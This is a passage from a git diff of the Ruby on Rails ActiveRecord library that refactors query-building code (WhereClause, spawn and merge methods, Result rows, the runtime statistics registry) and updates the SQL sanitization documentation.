-      STRUCTURAL_OR_METHODS = Relation::VALUE_METHODS - [:extending, :where, :having]
-      def structurally_incompatible_values_for_or(other)
-        STRUCTURAL_OR_METHODS.reject do |method|
-          get_value(method) == other.get_value(method)
+      def arel_column_aliases_from_hash(fields)
+        fields.flat_map do |key, columns_aliases|
+          table_name = key.is_a?(Symbol) ? key.name : key
+          case columns_aliases
+          when Hash
+            columns_aliases.map do |column, column_alias|
+              arel_column_with_table(table_name, column)
+                .as(model.adapter_class.quote_column_name(column_alias.to_s))
+            end
+          when Array
+            columns_aliases.map do |column|
+              arel_column_with_table(table_name, column)
+            end
+          when String, Symbol
+            arel_column(key)
+              .as(model.adapter_class.quote_column_name(columns_aliases.to_s))
+          end
         end
       end
 
-      def where_clause_factory
-        @where_clause_factory ||= Relation::WhereClauseFactory.new(klass, predicate_builder)
+      def process_with_args(args)
+        args.flat_map do |arg|
+          raise ArgumentError, "Unsupported argument type: #{arg} #{arg.class}" unless arg.is_a?(Hash)
+          arg.map { |k, v| { k => v } }
+        end
       end
-      alias having_clause_factory where_clause_factory
 
-      def default_value_for(name)
-        case name
-        when :create_with
-          FROZEN_EMPTY_HASH
-        when :readonly
-          false
-        when :where, :having
-          Relation::WhereClause.empty
-        when :from
-          Relation::FromClause.empty
-        when *Relation::MULTI_VALUE_METHODS
-          FROZEN_EMPTY_ARRAY
-        when *Relation::SINGLE_VALUE_METHODS
-          nil
-        else
-          raise ArgumentError, "unknown relation value #{name.inspect}"
+      STRUCTURAL_VALUE_METHODS = (
+        Relation::VALUE_METHODS -
+        [:extending, :where, :having, :unscope, :references, :annotate, :optimizer_hints]
+      ).freeze # :nodoc:
+
+      def structurally_incompatible_values_for(other)
+        values = other.values
+        STRUCTURAL_VALUE_METHODS.reject do |method|
+          v1, v2 = @values[method], values[method]
+
+          # `and`/`or` are focused to combine where-like clauses, so it relaxes
+          # the difference when other's multi values are uninitialized.
+          next true if v1.is_a?(Array) && v2.nil?
+
+          v1 == v2
         end
       end
   end
diff --git a/activerecord/lib/active_record/relation/record_fetch_warning.rb b/activerecord/lib/active_record/relation/record_fetch_warning.rb
deleted file mode 100644
index 31544c730e666..0000000000000
--- a/activerecord/lib/active_record/relation/record_fetch_warning.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-module ActiveRecord
-  class Relation
-    module RecordFetchWarning
-      # When this module is prepended to ActiveRecord::Relation and
-      # +config.active_record.warn_on_records_fetched_greater_than+ is
-      # set to an integer, if the number of records a query returns is
-      # greater than the value of +warn_on_records_fetched_greater_than+,
-      # a warning is logged. This allows for the detection of queries that
-      # return a large number of records, which could cause memory bloat.
-      #
-      # In most cases, fetching large number of records can be performed
-      # efficiently using the ActiveRecord::Batches methods.
-      # See ActiveRecord::Batches for more information.
-      def exec_queries
-        QueryRegistry.reset
-
-        super.tap do
-          if logger && warn_on_records_fetched_greater_than
-            if @records.length > warn_on_records_fetched_greater_than
-              logger.warn "Query fetched #{@records.size} #{@klass} records: #{QueryRegistry.queries.join(";")}"
-            end
-          end
-        end
-      end
-
-      # :stopdoc:
-      ActiveSupport::Notifications.subscribe("sql.active_record") do |*, payload|
-        QueryRegistry.queries << payload[:sql]
-      end
-      # :startdoc:
-
-      class QueryRegistry # :nodoc:
-        extend ActiveSupport::PerThreadRegistry
-
-        attr_reader :queries
-
-        def initialize
-          @queries = []
-        end
-
-        def reset
-          @queries.clear
-        end
-      end
-    end
-  end
-end
-
-ActiveRecord::Relation.prepend ActiveRecord::Relation::RecordFetchWarning
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index ada89b5ec3ed9..610e0abbb25a4 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -1,12 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/except"
 require "active_support/core_ext/hash/slice"
 require "active_record/relation/merger"
 
 module ActiveRecord
   module SpawnMethods
-    # This is overridden by Associations::CollectionProxy
-    def spawn #:nodoc:
-      clone
+    def spawn # :nodoc:
+      already_in_scope?(model.scope_registry) ? model.all : clone
     end
 
     # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an ActiveRecord::Relation.
@@ -26,17 +27,20 @@ def spawn #:nodoc:
     #   # => Post.where(published: true).joins(:comments)
     #
     # This is mainly intended for sharing common conditions between multiple associations.
-    def merge(other)
+    #
+    # For conditions that exist in both relations, those from <tt>other</tt> will take precedence.
+    # To find the intersection of two relations, use QueryMethods#and.
+    def merge(other, *rest)
       if other.is_a?(Array)
         records & other
       elsif other
-        spawn.merge!(other)
+        spawn.merge!(other, *rest)
       else
         raise ArgumentError, "invalid argument: #{other.inspect}."
       end
     end
 
-    def merge!(other) # :nodoc:
+    def merge!(other, *rest) # :nodoc:
       if other.is_a?(Hash)
         Relation::HashMerger.new(self, other).merge
       elsif other.is_a?(Relation)
@@ -48,27 +52,26 @@ def merge!(other) # :nodoc:
       end
     end
 
-    # Removes from the query the condition(s) specified in +skips+.
+    # Removes the condition(s) specified in +skips+ from the query.
     #
-    #   Post.order('id asc').except(:order)                  # discards the order condition
-    #   Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
+    #   Post.order('id asc').except(:order)                  # removes the order condition
+    #   Post.where('id > 10').order('id asc').except(:where) # removes the where condition but keeps the order
     def except(*skips)
       relation_with values.except(*skips)
     end
 
-    # Removes any condition from the query other than the one(s) specified in +onlies+.
+    # Keeps only the condition(s) specified in +onlies+ in the query, removing all others.
     #
-    #   Post.order('id asc').only(:where)         # discards the order condition
-    #   Post.order('id asc').only(:where, :order) # uses the specified order
+    #   Post.order('id asc').only(:where)         # keeps only the where condition, removes the order
+    #   Post.order('id asc').only(:where, :order) # keeps only the where and order conditions
     def only(*onlies)
       relation_with values.slice(*onlies)
     end
 
     private
-
       def relation_with(values)
-        result = Relation.create(klass, table, predicate_builder, values)
-        result.extend(*extending_values) if extending_values.any?
+        result = spawn
+        result.instance_variable_set(:@values, values)
         result
       end
   end
diff --git a/activerecord/lib/active_record/relation/where_clause.rb b/activerecord/lib/active_record/relation/where_clause.rb
index 417b24c7bbc1d..7707843f99a21 100644
--- a/activerecord/lib/active_record/relation/where_clause.rb
+++ b/activerecord/lib/active_record/relation/where_clause.rb
@@ -1,173 +1,201 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract"
+
 module ActiveRecord
   class Relation
     class WhereClause # :nodoc:
-      attr_reader :binds
-
       delegate :any?, :empty?, to: :predicates
 
-      def initialize(predicates, binds)
+      def initialize(predicates)
         @predicates = predicates
-        @binds = binds
       end
 
       def +(other)
-        WhereClause.new(
-          predicates + other.predicates,
-          binds + other.binds,
-        )
+        WhereClause.new(predicates + other.predicates)
+      end
+
+      def -(other)
+        WhereClause.new(predicates - other.predicates)
+      end
+
+      def |(other)
+        WhereClause.new(predicates | other.predicates)
       end
 
       def merge(other)
-        WhereClause.new(
-          predicates_unreferenced_by(other) + other.predicates,
-          non_conflicting_binds(other) + other.binds,
-        )
+        predicates = except_predicates(other.extract_attributes)
+
+        WhereClause.new(predicates | other.predicates)
       end
 
       def except(*columns)
-        WhereClause.new(*except_predicates_and_binds(columns))
+        WhereClause.new(except_predicates(columns))
       end
 
       def or(other)
-        if empty?
-          self
-        elsif other.empty?
-          other
+        left = self - other
+        common = self - left
+        right = other - common
+
+        if left.empty? || right.empty?
+          common
         else
-          WhereClause.new(
-            [ast.or(other.ast)],
-            binds + other.binds
-          )
-        end
-      end
+          left = left.ast
+          left = left.expr if left.is_a?(Arel::Nodes::Grouping)
+
+          right = right.ast
+          right = right.expr if right.is_a?(Arel::Nodes::Grouping)
 
-      def to_h(table_name = nil)
-        equalities = predicates.grep(Arel::Nodes::Equality)
-        if table_name
-          equalities = equalities.select do |node|
-            node.left.relation.name == table_name
+          or_clause = if left.is_a?(Arel::Nodes::Or)
+            Arel::Nodes::Or.new(left.children + [right])
+          else
+            Arel::Nodes::Or.new([left, right])
           end
-        end
 
-        binds = self.binds.map { |attr| [attr.name, attr.value] }.to_h
+          common.predicates << Arel::Nodes::Grouping.new(or_clause)
+          common
+        end
+      end
 
-        equalities.map { |node|
-          name = node.left.name
-          [name, binds.fetch(name.to_s) {
-            case node.right
-            when Array then node.right.map(&:val)
-            when Arel::Nodes::Casted, Arel::Nodes::Quoted
-              node.right.val
-            end
-          }]
-        }.to_h
+      def to_h(table_name = nil, equality_only: false)
+        equalities(predicates, equality_only).each_with_object({}) do |node, hash|
+          next if table_name&.!= node.left.relation.name
+          name = node.left.name.to_s
+          value = extract_node_value(node.right)
+          hash[name] = value
+        end
       end
 
       def ast
-        Arel::Nodes::And.new(predicates_with_wrapped_sql_literals)
+        predicates = predicates_with_wrapped_sql_literals
+        predicates.one? ? predicates.first : Arel::Nodes::And.new(predicates)
       end
 
       def ==(other)
         other.is_a?(WhereClause) &&
-          predicates == other.predicates &&
-          binds == other.binds
+          predicates == other.predicates
+      end
+      alias :eql? :==
+
+      def hash
+        [self.class, predicates].hash
       end
 
       def invert
-        WhereClause.new(inverted_predicates, binds)
+        if predicates.size == 1
+          inverted_predicates = [ invert_predicate(predicates.first) ]
+        else
+          inverted_predicates = [ Arel::Nodes::Not.new(ast) ]
+        end
+
+        WhereClause.new(inverted_predicates)
       end
 
       def self.empty
-        @empty ||= new([], [])
+        @empty ||= new([]).freeze
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      def contradiction?
+        predicates.any? do |x|
+          case x
+          when Arel::Nodes::In
+            Array === x.right && x.right.empty?
+          when Arel::Nodes::Equality
+            x.right.respond_to?(:unboundable?) && x.right.unboundable?
+          end
+        end
+      end
+
+      def extract_attributes
+        attrs = []
+        each_attributes { |attr, _| attrs << attr }
+        attrs
+      end
 
+      protected
         attr_reader :predicates
 
         def referenced_columns
-          @referenced_columns ||= begin
-            equality_nodes = predicates.select { |n| equality_node?(n) }
-            Set.new(equality_nodes, &:left)
-          end
+          hash = {}
+          each_attributes { |attr, node| hash[attr] = node }
+          hash
         end
 
       private
+        def each_attributes
+          predicates.each do |node|
+            attr = extract_attribute(node) || begin
+              node.left if equality_node?(node) && node.left.is_a?(Arel::Predications)
+            end
 
-        def predicates_unreferenced_by(other)
-          predicates.reject do |n|
-            equality_node?(n) && other.referenced_columns.include?(n.left)
+            yield attr, node if attr
           end
         end
 
-        def equality_node?(node)
-          node.respond_to?(:operator) && node.operator == :==
+        def extract_attribute(node)
+          attr_node = nil
+
+          valid_attrs = Arel.fetch_attribute(node) do |attr|
+            !attr_node || attr_node == attr # all attr nodes should be the same
+          ensure
+            attr_node = attr
+          end
+          return unless valid_attrs # all nested nodes should yield an attribute
+
+          attr_node
         end
 
-        def non_conflicting_binds(other)
-          conflicts = referenced_columns & other.referenced_columns
-          conflicts.map! { |node| node.name.to_s }
-          binds.reject { |attr| conflicts.include?(attr.name) }
+        def equalities(predicates, equality_only)
+          equalities = []
+
+          predicates.each do |node|
+            if equality_only ? Arel::Nodes::Equality === node : equality_node?(node)
+              equalities << node
+            elsif node.is_a?(Arel::Nodes::And)
+              equalities.concat equalities(node.children, equality_only)
+            end
+          end
+
+          equalities
         end
 
-        def inverted_predicates
-          predicates.map { |node| invert_predicate(node) }
+        def equality_node?(node)
+          !node.is_a?(String) && node.equality?
         end
 
         def invert_predicate(node)
           case node
           when NilClass
             raise ArgumentError, "Invalid argument for .where.not(), got nil."
-          when Arel::Nodes::In
-            Arel::Nodes::NotIn.new(node.left, node.right)
-          when Arel::Nodes::Equality
-            Arel::Nodes::NotEqual.new(node.left, node.right)
           when String
             Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new(node))
           else
-            Arel::Nodes::Not.new(node)
+            node.invert
           end
         end
 
-        def except_predicates_and_binds(columns)
-          except_binds = []
-          binds_index = 0
-
-          predicates = self.predicates.reject do |node|
-            except = \
-              case node
-              when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThan, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThan, Arel::Nodes::GreaterThanOrEqual
-                binds_contains = node.grep(Arel::Nodes::BindParam).size
-                subrelation = (node.left.kind_of?(Arel::Attributes::Attribute) ? node.left : node.right)
-                columns.include?(subrelation.name.to_s)
-              end
-
-            if except && binds_contains > 0
-              (binds_index...(binds_index + binds_contains)).each do |i|
-                except_binds[i] = true
-              end
-
-              binds_index += binds_contains
-            end
+        def except_predicates(columns)
+          return predicates if columns.empty?
 
-            except
-          end
+          attrs = columns.extract! { |node| node.is_a?(Arel::Attribute) }
+          non_attrs = columns.extract! { |node| node.is_a?(Arel::Predications) }
 
-          binds = self.binds.reject.with_index do |_, i|
-            except_binds[i]
+          predicates.reject do |node|
+            if !non_attrs.empty? && node.equality? && node.left.is_a?(Arel::Predications)
+              non_attrs.include?(node.left)
+            end || Arel.fetch_attribute(node) do |attr|
+              attrs.include?(attr) || columns.include?(attr.name.to_s)
+            end
           end
-
-          [predicates, binds]
         end
 
         def predicates_with_wrapped_sql_literals
           non_empty_predicates.map do |node|
-            if Arel::Nodes::Equality === node
-              node
-            else
-              wrap_sql_literal(node)
+            case node
+            when Arel::Nodes::SqlLiteral, ::String
+              Arel::Nodes::Grouping.new(node)
+            else node
             end
           end
         end
@@ -177,11 +205,12 @@ def non_empty_predicates
           predicates - ARRAY_WITH_EMPTY_STRING
         end
 
-        def wrap_sql_literal(node)
-          if ::String === node
-            node = Arel.sql(node)
+        def extract_node_value(node)
+          if node.respond_to?(:value_before_type_cast)
+            node.value_before_type_cast
+          elsif Array === node
+            node.map { |v| extract_node_value(v) }
           end
-          Arel::Nodes::Grouping.new(node)
         end
     end
   end
diff --git a/activerecord/lib/active_record/relation/where_clause_factory.rb b/activerecord/lib/active_record/relation/where_clause_factory.rb
deleted file mode 100644
index 04bee73e8fbde..0000000000000
--- a/activerecord/lib/active_record/relation/where_clause_factory.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module ActiveRecord
-  class Relation
-    class WhereClauseFactory # :nodoc:
-      def initialize(klass, predicate_builder)
-        @klass = klass
-        @predicate_builder = predicate_builder
-      end
-
-      def build(opts, other)
-        case opts
-        when String, Array
-          parts = [klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
-        when Hash
-          attributes = predicate_builder.resolve_column_aliases(opts)
-          attributes = klass.send(:expand_hash_conditions_for_aggregates, attributes)
-          attributes.stringify_keys!
-
-          if perform_case_sensitive?(options = other.last)
-            parts, binds = build_for_case_sensitive(attributes, options)
-          else
-            attributes, binds = predicate_builder.create_binds(attributes)
-            parts = predicate_builder.build_from_hash(attributes)
-          end
-        when Arel::Nodes::Node
-          parts = [opts]
-        else
-          raise ArgumentError, "Unsupported argument type: #{opts} (#{opts.class})"
-        end
-
-        WhereClause.new(parts, binds || [])
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :klass, :predicate_builder
-
-      private
-
-        def perform_case_sensitive?(options)
-          options && options.key?(:case_sensitive)
-        end
-
-        def build_for_case_sensitive(attributes, options)
-          parts, binds = [], []
-          table = klass.arel_table
-
-          attributes.each do |attribute, value|
-            if reflection = klass._reflect_on_association(attribute)
-              attribute = reflection.foreign_key.to_s
-              value = value[reflection.klass.primary_key] unless value.nil?
-            end
-
-            if value.nil?
-              parts << table[attribute].eq(value)
-            else
-              column = klass.column_for_attribute(attribute)
-
-              binds << predicate_builder.send(:build_bind_param, attribute, value)
-              value = Arel::Nodes::BindParam.new
-
-              predicate = if options[:case_sensitive]
-                klass.connection.case_sensitive_comparison(table, attribute, column, value)
-              else
-                klass.connection.case_insensitive_comparison(table, attribute, column, value)
-              end
-
-              parts << predicate
-            end
-          end
-
-          [parts, binds]
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index 9ed70a9c2b8d9..f540a00314d65 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -1,10 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   ###
+  # = Active Record \Result
+  #
   # This class encapsulates a result returned from calling
   # {#exec_query}[rdoc-ref:ConnectionAdapters::DatabaseStatements#exec_query]
   # on any database connection adapter. For example:
   #
-  #   result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts')
+  #   result = ActiveRecord::Base.lease_connection.exec_query('SELECT id, title, body FROM posts')
   #   result # => #<ActiveRecord::Result:0xdeadbeef>
   #
   #   # Get the column names of the result:
@@ -19,12 +23,17 @@ module ActiveRecord
   #        ]
   #
   #   # Get an array of hashes representing the result (column => value):
-  #   result.to_hash
+  #   result.to_a
   #   # => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
   #         {"id" => 2, "title" => "title_2", "body" => "body_2"},
   #         ...
   #        ]
   #
+  #   # Get the number of rows affected by the query:
+  #   result = ActiveRecord::Base.lease_connection.exec_query('INSERT INTO posts (title, body) VALUES ("title_3", "body_3"), ("title_4", "body_4")')
+  #   result.affected_rows
+  #   # => 2
+  #
   #   # ActiveRecord::Result also includes Enumerable.
   #   result.each do |row|
   #     puts row['title'] + " " + row['body']
@@ -32,105 +41,233 @@ module ActiveRecord
   class Result
     include Enumerable
 
-    attr_reader :columns, :rows, :column_types
+    class IndexedRow
+      def initialize(column_indexes, row)
+        @column_indexes = column_indexes
+        @row = row
+      end
+
+      def size
+        @column_indexes.size
+      end
+      alias_method :length, :size
+
+      def each_key(&block)
+        @column_indexes.each_key(&block)
+      end
+
+      def keys
+        @column_indexes.keys
+      end
+
+      def ==(other)
+        if other.is_a?(Hash)
+          to_hash == other
+        else
+          super
+        end
+      end
+
+      def key?(column)
+        @column_indexes.key?(column)
+      end
+
+      def fetch(column)
+        if index = @column_indexes[column]
+          @row[index]
+        elsif block_given?
+          yield
+        else
+          raise KeyError, "key not found: #{column.inspect}"
+        end
+      end
+
+      def [](column)
+        if index = @column_indexes[column]
+          @row[index]
+        end
+      end
 
-    def initialize(columns, rows, column_types = {})
-      @columns      = columns
+      def to_h
+        @column_indexes.transform_values { |index| @row[index] }
+      end
+      alias_method :to_hash, :to_h
+    end
+
+    attr_reader :columns, :rows, :affected_rows
+
+    def self.empty(async: false, affected_rows: nil) # :nodoc:
+      if async
+        FutureResult.wrap(new(EMPTY_ARRAY, EMPTY_ARRAY, EMPTY_HASH, affected_rows: affected_rows)).freeze
+      else
+        new(EMPTY_ARRAY, EMPTY_ARRAY, EMPTY_HASH, affected_rows: affected_rows).freeze
+      end
+    end
+
+    def initialize(columns, rows, column_types = nil, affected_rows: nil)
+      # We freeze the strings to prevent them getting duped when
+      # used as keys in ActiveRecord::Base's @attributes hash
+      @columns      = columns.each(&:-@).freeze
       @rows         = rows
       @hash_rows    = nil
-      @column_types = column_types
+      @column_types = column_types.freeze
+      @types_hash   = nil
+      @column_indexes = nil
+      @affected_rows = affected_rows
+    end
+
+    # Returns true if this result set includes the column named +name+
+    def includes_column?(name)
+      @columns.include? name
     end
 
+    # Returns the number of elements in the rows array.
     def length
       @rows.length
     end
 
-    def each
+    # Calls the given block once for each element in row collection, passing
+    # row as parameter. Each row is a Hash-like, read only object.
+    #
+    # To get real hashes, use +.to_a.each+.
+    #
+    # Returns an +Enumerator+ if no block is given.
+    def each(&block)
       if block_given?
-        hash_rows.each { |row| yield row }
+        hash_rows.each(&block)
       else
         hash_rows.to_enum { @rows.size }
       end
     end
 
-    def to_hash
-      hash_rows
-    end
-
-    alias :map! :map
-    alias :collect! :map
-
-    # Returns true if there are no records.
+    # Returns true if there are no records, otherwise false.
     def empty?
       rows.empty?
     end
 
+    # Returns an array of hashes representing each row record.
     def to_ary
       hash_rows
     end
 
+    alias :to_a :to_ary
+
     def [](idx)
       hash_rows[idx]
     end
 
-    def first
-      return nil if @rows.empty?
-      Hash[@columns.zip(@rows.first)]
+    # Returns the last record from the rows collection.
+    def last(n = nil)
+      n ? hash_rows.last(n) : hash_rows.last
     end
 
-    def last
-      return nil if @rows.empty?
-      Hash[@columns.zip(@rows.last)]
+    # Returns the +ActiveRecord::Type+ type of all columns.
+    # Note that not all database adapters return the result types,
+    # so the hash may be empty.
+    def column_types
+      if @column_types
+        @types_hash ||= begin
+          types = {}
+          @columns.each_with_index do |name, index|
+            type = @column_types[index] || Type.default_value
+            types[name] = types[index] = type
+          end
+          types.freeze
+        end
+      else
+        EMPTY_HASH
+      end
     end
 
-    def cast_values(type_overrides = {}) # :nodoc:
-      types = columns.map { |name| column_type(name, type_overrides) }
-      result = rows.map do |values|
-        types.zip(values).map { |type, value| type.deserialize(value) }
-      end
+    def result # :nodoc:
+      self
+    end
 
-      columns.one? ? result.map!(&:first) : result
+    def cancel # :nodoc:
+      self
+    end
+
+    def cast_values(type_overrides = nil) # :nodoc:
+      if columns.one?
+        # Separated to avoid allocating an array per row
+
+        type = if type_overrides.is_a?(Array)
+          type_overrides.first
+        else
+          column_type(columns.first, 0, type_overrides)
+        end
+
+        rows.map do |(value)|
+          type.deserialize(value)
+        end
+      else
+        types = if type_overrides.is_a?(Array)
+          type_overrides
+        else
+          columns.map.with_index { |name, i| column_type(name, i, type_overrides) }
+        end
+
+        rows.map do |values|
+          Array.new(values.size) { |i| types[i].deserialize(values[i]) }
+        end
+      end
     end
 
     def initialize_copy(other)
-      @columns      = columns.dup
-      @rows         = rows.dup
-      @column_types = column_types.dup
+      @rows = rows.dup
       @hash_rows    = nil
     end
 
-    private
+    def freeze # :nodoc:
+      hash_rows.freeze
+      indexed_rows
+      column_types
+      super
+    end
 
-      def column_type(name, type_overrides = {})
-        type_overrides.fetch(name) do
-          column_types.fetch(name, Type.default_value)
+    def column_indexes # :nodoc:
+      @column_indexes ||= begin
+        index = 0
+        hash = {}
+        length = columns.length
+        while index < length
+          hash[columns[index]] = index
+          index += 1
         end
+        hash.freeze
       end
+    end
 
-      def hash_rows
-        @hash_rows ||=
-          begin
-            # We freeze the strings to prevent them getting duped when
-            # used as keys in ActiveRecord::Base's @attributes hash
-            columns = @columns.map { |c| c.dup.freeze }
-            @rows.map { |row|
-              # In the past we used Hash[columns.zip(row)]
-              #  though elegant, the verbose way is much more efficient
-              #  both time and memory wise cause it avoids a big array allocation
-              #  this method is called a lot and needs to be micro optimised
-              hash = {}
-
-              index = 0
-              length = columns.length
-
-              while index < length
-                hash[columns[index]] = row[index]
-                index += 1
-              end
-
-              hash
-            }
+    def indexed_rows # :nodoc:
+      @indexed_rows ||= begin
+        columns = column_indexes
+        @rows.map { |row| IndexedRow.new(columns, row) }.freeze
+      end
+    end
+
+    private
+      def column_type(name, index, type_overrides)
+        if type_overrides
+          type_overrides.fetch(name) do
+            column_type(name, index, nil)
           end
+        elsif @column_types
+          @column_types[index] || Type.default_value
+        else
+          Type.default_value
+        end
+      end
+
+      def hash_rows
+        # We use transform_values to rows.
+        # This is faster because we avoid any reallocs and avoid hashing entirely.
+        @hash_rows ||= @rows.map do |row|
+          column_indexes.transform_values { |index| row[index] }
+        end
       end
+
+      EMPTY_ARRAY = [].freeze
+      EMPTY_HASH = {}.freeze
+      private_constant :EMPTY_ARRAY, :EMPTY_HASH
   end
 end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
index b79eb2263f001..0e241f300ced9 100644
--- a/activerecord/lib/active_record/runtime_registry.rb
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -1,22 +1,66 @@
-require "active_support/per_thread_registry"
+# frozen_string_literal: true
 
 module ActiveRecord
   # This is a thread locals registry for Active Record. For example:
   #
-  #   ActiveRecord::RuntimeRegistry.connection_handler
+  #   ActiveRecord::RuntimeRegistry.stats.sql_runtime
   #
-  # returns the connection handler local to the current thread.
-  #
-  # See the documentation of ActiveSupport::PerThreadRegistry
-  # for further details.
-  class RuntimeRegistry # :nodoc:
-    extend ActiveSupport::PerThreadRegistry
+  # returns the connection handler local to the current unit of execution (either thread of fiber).
+  module RuntimeRegistry # :nodoc:
+    class Stats
+      attr_accessor :sql_runtime, :async_sql_runtime, :queries_count, :cached_queries_count
+
+      def initialize
+        @sql_runtime = 0.0
+        @async_sql_runtime = 0.0
+        @queries_count = 0
+        @cached_queries_count = 0
+      end
+
+      def reset_runtimes
+        sql_runtime_was = @sql_runtime
+        @sql_runtime = 0.0
+        @async_sql_runtime = 0.0
+        sql_runtime_was
+      end
+
+      public alias_method :reset, :initialize
+    end
+
+    extend self
+
+    def call(name, start, finish, id, payload)
+      record(
+        payload[:name],
+        (finish - start) * 1_000.0,
+        cached: payload[:cached],
+        async: payload[:async],
+        lock_wait: payload[:lock_wait],
+      )
+    end
+
+    def record(query_name, runtime, cached: false, async: false, lock_wait: nil)
+      stats = self.stats
 
-    attr_accessor :connection_handler, :sql_runtime
+      unless query_name == "TRANSACTION" || query_name == "SCHEMA"
+        stats.queries_count += 1
+        stats.cached_queries_count += 1 if cached
+      end
+
+      if async
+        stats.async_sql_runtime += (runtime - lock_wait)
+      end
+      stats.sql_runtime += runtime
+    end
 
-    [:connection_handler, :sql_runtime].each do |val|
-      class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
-      class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+    def stats
+      ActiveSupport::IsolatedExecutionState[:active_record_runtime] ||= Stats.new
+    end
+
+    def reset
+      stats.reset
     end
   end
 end
+
+ActiveSupport::Notifications.monotonic_subscribe("sql.active_record", ActiveRecord::RuntimeRegistry)
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 427c0019c6034..fa47391d2ac0a 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -1,202 +1,248 @@
+# frozen_string_literal: true
 
 module ActiveRecord
   module Sanitization
     extend ActiveSupport::Concern
 
     module ClassMethods
-      private
+      # Accepts an array of SQL conditions and sanitizes them into a valid
+      # SQL fragment for a WHERE clause.
+      #
+      #   sanitize_sql_for_conditions(["name=? and group_id=?", "foo'bar", 4])
+      #   # => "name='foo''bar' and group_id=4"
+      #
+      #   sanitize_sql_for_conditions(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+      #   # => "name='foo''bar' and group_id='4'"
+      #
+      #   sanitize_sql_for_conditions(["name='%s' and group_id='%s'", "foo'bar", 4])
+      #   # => "name='foo''bar' and group_id='4'"
+      #
+      # This method will NOT sanitize an SQL string since it won't contain
+      # any conditions in it and will return the string as is.
+      #
+      #   sanitize_sql_for_conditions("name='foo''bar' and group_id='4'")
+      #   # => "name='foo''bar' and group_id='4'"
+      #
+      # Note that this sanitization method is not schema-aware, hence won't do any type casting
+      # and will directly use the database adapter's +quote+ method.
+      # For MySQL specifically this means that numeric parameters will be quoted as strings
+      # to prevent query manipulation attacks.
+      #
+      #   sanitize_sql_for_conditions(["role = ?", 0])
+      #   # => "role = '0'"
+      def sanitize_sql_for_conditions(condition)
+        return nil if condition.blank?
 
-        # Accepts an array or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a WHERE clause.
-        #
-        #   sanitize_sql_for_conditions(["name=? and group_id=?", "foo'bar", 4])
-        #   # => "name='foo''bar' and group_id=4"
-        #
-        #   sanitize_sql_for_conditions(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
-        #   # => "name='foo''bar' and group_id='4'"
-        #
-        #   sanitize_sql_for_conditions(["name='%s' and group_id='%s'", "foo'bar", 4])
-        #   # => "name='foo''bar' and group_id='4'"
-        #
-        #   sanitize_sql_for_conditions("name='foo''bar' and group_id='4'")
-        #   # => "name='foo''bar' and group_id='4'"
-        def sanitize_sql_for_conditions(condition) # :doc:
-          return nil if condition.blank?
-
-          case condition
-          when Array; sanitize_sql_array(condition)
-          else        condition
-          end
-        end
-        alias :sanitize_sql :sanitize_sql_for_conditions
-        alias :sanitize_conditions :sanitize_sql
-        deprecate sanitize_conditions: :sanitize_sql
-
-        # Accepts an array, hash, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a SET clause.
-        #
-        #   sanitize_sql_for_assignment(["name=? and group_id=?", nil, 4])
-        #   # => "name=NULL and group_id=4"
-        #
-        #   sanitize_sql_for_assignment(["name=:name and group_id=:group_id", name: nil, group_id: 4])
-        #   # => "name=NULL and group_id=4"
-        #
-        #   Post.send(:sanitize_sql_for_assignment, { name: nil, group_id: 4 })
-        #   # => "`posts`.`name` = NULL, `posts`.`group_id` = 4"
-        #
-        #   sanitize_sql_for_assignment("name=NULL and group_id='4'")
-        #   # => "name=NULL and group_id='4'"
-        def sanitize_sql_for_assignment(assignments, default_table_name = table_name) # :doc:
-          case assignments
-          when Array; sanitize_sql_array(assignments)
-          when Hash;  sanitize_sql_hash_for_assignment(assignments, default_table_name)
-          else        assignments
-          end
+        case condition
+        when Array; sanitize_sql_array(condition)
+        else        condition
         end
+      end
+      alias :sanitize_sql :sanitize_sql_for_conditions
 
-        # Accepts an array, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for an ORDER clause.
-        #
-        #   sanitize_sql_for_order(["field(id, ?)", [1,3,2]])
-        #   # => "field(id, 1,3,2)"
-        #
-        #   sanitize_sql_for_order("id ASC")
-        #   # => "id ASC"
-        def sanitize_sql_for_order(condition) # :doc:
-          if condition.is_a?(Array) && condition.first.to_s.include?("?")
-            sanitize_sql_array(condition)
-          else
-            condition
-          end
+      # Accepts an array or hash of SQL conditions and sanitizes them into
